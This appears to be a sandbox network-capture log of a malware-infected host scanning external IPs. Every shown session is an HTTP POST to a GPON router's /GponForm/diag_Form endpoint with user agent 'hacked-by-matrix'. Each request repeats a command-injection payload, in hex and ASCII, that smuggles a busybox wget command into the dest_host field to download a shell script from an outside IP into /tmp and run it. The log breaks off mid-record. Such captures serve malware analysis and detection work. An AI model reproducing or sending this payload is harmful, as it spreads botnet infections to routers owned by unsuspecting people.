Mar 21, 2024 05:25:10.966106892 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
237	192.168.2.23	40840	5.224.231.185	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.966140985 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
238	192.168.2.23	37572	42.184.206.202	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:13.973397970 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
239	192.168.2.23	54418	210.0.159.27	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:13.973406076 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
240	192.168.2.23	47962	212.185.58.71	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:13.973421097 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
241	192.168.2.23	38260	2.155.59.56	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:13.973427057 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
242	192.168.2.23	48140	37.91.105.19	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:13.973438025 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
243	192.168.2.23	47314	42.149.150.62	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:13.973438025 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
244	192.168.2.23	40040	178.49.196.78	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:13.973445892 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
245	192.168.2.23	44366	109.56.124.4	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:13.973474979 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
246	192.168.2.23	44352	2.88.253.17	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:13.973525047 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
247	192.168.2.23	60562	79.230.176.128	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:13.973527908 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
248	192.168.2.23	48728	178.195.167.192	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:13.973530054 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
249	192.168.2.23	47630	109.34.65.134	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:13.973532915 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
250	192.168.2.23	48432	42.178.35.57	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:13.973557949 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
251	192.168.2.23	57480	79.44.238.160	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:13.973567009 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
252	192.168.2.23	45522	37.139.23.173	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:13.973603964 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
253	192.168.2.23	39234	42.214.42.95	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:13.973604918 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
254	192.168.2.23	43214	2.130.120.189	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:13.973625898 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
255	192.168.2.23	34054	118.198.189.158	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:13.973627090 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
256	192.168.2.23	56464	79.136.140.58	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:13.973639011 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
257	192.168.2.23	41012	2.13.99.186	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:13.973666906 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
258	192.168.2.23	36876	210.222.139.60	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:13.973673105 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
259	192.168.2.23	60626	94.223.165.203	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:13.973692894 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
260	192.168.2.23	50048	94.68.177.33	443

Timestamp	Bytes transferred	Direction	Data
